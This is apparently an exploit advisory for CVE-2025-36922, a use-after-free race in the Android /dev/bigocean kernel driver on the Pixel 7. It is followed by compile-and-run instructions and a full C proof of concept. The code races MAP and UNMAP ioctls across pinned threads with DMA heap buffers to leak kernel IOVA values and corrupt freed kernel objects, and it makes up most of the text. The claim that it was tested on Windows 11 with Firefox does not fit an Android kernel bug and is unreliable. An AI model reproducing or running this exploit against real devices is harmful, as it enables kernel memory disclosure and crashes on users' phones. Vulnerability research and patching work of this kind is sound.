Linux Kernel 6.1.124 Android bigocean Use-After-Free
=============================================================================================================================================
| # Title Linux Kernel 6.1.124 Android bigocean Use-After-Free
=============================================================================================================================================
| # Title : Kernel 6.1.124 Use-After-Free Vulnerability in Android /dev/bigocean Driver via MAP/UNMAP Race Condition |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://Google.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/213732/ & CVE-2025-36922
[+] Summary : The vulnerability CVE-2025-36922 is a Use-After-Free (UAF) flaw in the Android kernel driver /dev/bigocean, caused by a race condition between concurrent MAP and UNMAP ioctl operations.
By triggering this race using multiple threads and DMA heap allocations, freed kernel objects may be accessed after release, leading to kernel memory disclosure (IOVA leak) and potentially a kernel panic, especially on kernels built with KASAN enabled.
The issue is reachable from the SELinux mediacodec context, exposing a realistic attack surface via media parsing.
[+] Component: /dev/bigocean kernel driver
[+] Configuration:
Vulnerability is reliably observable with KASAN enabled
Present in Android 14 kernel builds using this branch
[+] Device :
Vendor: Google
Model: Google Pixel 7
SoC: Google Tensor
Android Version: Android 14
Kernel: 6.1.124-android14-11-gf3f319a6db82
[+] Usage :
# Compilation (on the target machine)
$ gcc -o bigocean_poc bigocean_poc.c -lpthread -O2
# Run
$ ./bigocean_poc
[+] POC :
#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <sys/syscall.h>
#include <linux/dma-heap.h>
#include "bigo.h"
#define NUM_THREADS 4
#define NUM_ITERATIONS 10000
#define DMA_HEAP_PATH "/dev/dma_heap/system"
#define BIGOCEAN_DEVICE "/dev/bigocean"
struct thread_args {
int thread_id;
int success_count;
int error_count;
};
static volatile int stop_threads = 0;
static int bigocean_fd = -1;
static int dma_heap_fd = -1;
void *map_thread(void *arg) {
struct thread_args *targs = (struct thread_args *)arg;
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(targs->thread_id % sysconf(_SC_NPROCESSORS_ONLN), &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
struct dma_heap_allocation_data heap_data = {
.len = 0x1000,
.fd_flags = O_RDWR | O_CLOEXEC,
};
for (int i = 0; i < NUM_ITERATIONS && !stop_threads; i++) {
if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &heap_data) < 0 || heap_data.fd < 0) {
targs->error_count++;
continue;
}
struct bigo_ioc_mapping mapping = {
.fd = heap_data.fd,
.iova = 0,
.offset = 0,
.size = 0x1000,
.skip_cmo = 0
};
long ret = ioctl(bigocean_fd, BIGO_IOCX_MAP, &mapping);
if (ret == 0) {
targs->success_count++;
// Try to trigger race by immediately reading leaked iova
if (mapping.iova != 0 && mapping.iova != 0xFFFFFFFF) {
printf("[Thread %d] Leaked iova: 0x%08x (iteration: %d)\n",
targs->thread_id, mapping.iova, i);
}
} else {
targs->error_count++;
}
close(heap_data.fd);
if (i % 100 == 0) {
sched_yield();
}
}
return NULL;
}
void *unmap_thread(void *arg) {
struct thread_args *targs = (struct thread_args *)arg;
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET((targs->thread_id + 1) % sysconf(_SC_NPROCESSORS_ONLN), &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
int dma_fds[10];
struct bigo_ioc_mapping mappings[10];
for (int i = 0; i < 10; i++) {
struct dma_heap_allocation_data heap_data = {
.len = 0x1000,
.fd_flags = O_RDWR | O_CLOEXEC,
};
if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &heap_data) < 0) {
dma_fds[i] = -1;
continue;
}
dma_fds[i] = heap_data.fd;
mappings[i] = (struct bigo_ioc_mapping){
.fd = dma_fds[i],
.iova = 0,
.offset = 0,
.size = 0x1000,
.skip_cmo = 0
};
if (ioctl(bigocean_fd, BIGO_IOCX_MAP, &mappings[i]) != 0) {
close(dma_fds[i]);
dma_fds[i] = -1;
}
}
for (int i = 0; i < NUM_ITERATIONS && !stop_threads; i++) {
for (int j = 0; j < 10; j++) {
if (dma_fds[j] != -1) {
// Rapid unmapping to trigger race
ioctl(bigocean_fd, BIGO_IOCX_UNMAP, &mappings[j]);
targs->success_count++;
if (ioctl(bigocean_fd, BIGO_IOCX_MAP, &mappings[j]) == 0) {
// Immediately unmap again
ioctl(bigocean_fd, BIGO_IOCX_UNMAP, &mappings[j]);
}
}
}
sched_yield();
if (i % 50 == 0) {
// Occasionally add delay to vary timing
usleep(10);
}
}
for (int i = 0; i < 10; i++) {
if (dma_fds[i] != -1) {
close(dma_fds[i]);
}
}
return NULL;
}
void signal_handler(int sig) {
printf("\n[!] Received signal %d, stopping threads...\n", sig);
stop_threads = 1;
}
int main() {
printf("[+] CVE-2025-36922 PoC - /dev/bigocean UAF exploit\n");
printf("[+] Kernel: 6.1.124-android14-11-gf3f319a6db82\n");
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
bigocean_fd = open(BIGOCEAN_DEVICE, O_RDWR | O_CLOEXEC);
if (bigocean_fd < 0) {
perror("[-] Failed to open " BIGOCEAN_DEVICE);
return EXIT_FAILURE;
}
printf("[+] Opened " BIGOCEAN_DEVICE " (fd=%d)\n", bigocean_fd);
dma_heap_fd = open(DMA_HEAP_PATH, O_RDONLY | O_CLOEXEC);
if (dma_heap_fd < 0) {
perror("[-] Failed to open " DMA_HEAP_PATH);
close(bigocean_fd);
return EXIT_FAILURE;
}
printf("[+] Opened " DMA_HEAP_PATH " (fd=%d)\n", dma_heap_fd);
pthread_t map_threads[NUM_THREADS];
pthread_t unmap_threads[NUM_THREADS];
struct thread_args map_args[NUM_THREADS];
struct thread_args unmap_args[NUM_THREADS];
printf("[+] Starting %d map/unmap threads...\n", NUM_THREADS * 2);
for (int i = 0; i < NUM_THREADS; i++) {
map_args[i] = (struct thread_args){.thread_id = i, .success_count = 0, .error_count = 0};
if (pthread_create(&map_threads[i], NULL, map_thread, &map_args[i]) != 0) {
perror("[-] Failed to create map thread");
}
}
for (int i = 0; i < NUM_THREADS; i++) {
unmap_args[i] = (struct thread_args){.thread_id = i + NUM_THREADS, .success_count = 0, .error_count = 0};
if (pthread_create(&unmap_threads[i], NULL, unmap_thread, &unmap_args[i]) != 0) {
perror("[-] Failed to create unmap thread");
}
}
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(map_threads[i], NULL);
pthread_join(unmap_threads[i], NULL);
}
printf("\n[+] Execution completed\n");
printf("[+] Statistics:\n");
int total_map_success = 0;
int total_map_errors = 0;
int total_unmap_success = 0;
for (int i = 0; i < NUM_THREADS; i++) {
total_map_success += map_args[i].success_count;
total_map_errors += map_args[i].error_count;
total_unmap_success += unmap_args[i].success_count;
printf(" Thread %d: Maps=%d (errors=%d), Unmaps=%d\n",
i, map_args[i].success_count, map_args[i].error_count,
unmap_args[i].success_count);
}
printf("\n[+] Totals: Successful maps=%d, Failed maps=%d, Successful unmaps=%d\n",
total_map_success, total_map_errors, total_unmap_success);
close(bigocean_fd);
close(dma_heap_fd);
if (total_map_errors > 0) {
printf("[!] Some operations failed - this may indicate successful exploitation\n");
}
return EXIT_SUCCESS;
}
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================